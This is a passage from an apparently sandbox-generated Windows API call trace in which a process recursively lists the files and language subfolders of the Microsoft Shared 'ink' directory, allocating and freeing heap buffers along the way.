ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0215.060] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0215.061] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0215.061] GetProcessHeap () returned 0x560000 [0215.061] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0215.061] FindNextFileW (in: hFindFile=0x599168, lpFindFileData=0x2cfefb0 | out: lpFindFileData=0x2cfefb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0215.061] GetProcessHeap () returned 0x560000 [0215.061] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0215.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0215.630] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.630] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0215.631] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0215.631] GetProcessHeap () returned 0x560000 [0215.631] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.633] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.633] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.633] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.633] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.634] GetProcessHeap () returned 0x560000 [0215.634] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0215.634] GetProcessHeap () returned 0x560000 [0215.634] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.635] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.635] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.635] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.635] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.636] GetProcessHeap () returned 0x560000 [0215.636] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0215.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0215.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0215.637] GetProcessHeap () returned 0x560000 [0215.637] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.637] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.638] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.638] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.638] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.638] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.638] GetProcessHeap () returned 0x560000 [0215.638] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.639] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0215.639] GetProcessHeap () returned 0x560000 [0215.639] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.639] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.640] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.640] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.640] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.640] GetProcessHeap () returned 0x560000 [0215.640] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.640] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0215.641] GetProcessHeap () returned 0x560000 [0215.641] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.643] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.643] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.643] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.643] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.643] GetProcessHeap () returned 0x560000 [0215.644] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.644] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0215.644] GetProcessHeap () returned 0x560000 [0215.644] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.644] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.645] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0215.645] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0215.645] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0215.645] GetProcessHeap () returned 0x560000 [0215.645] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0215.645] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0215.646] GetProcessHeap () returned 0x560000 [0215.646] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0215.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0215.650] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.650] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2cfeaa0 | out: 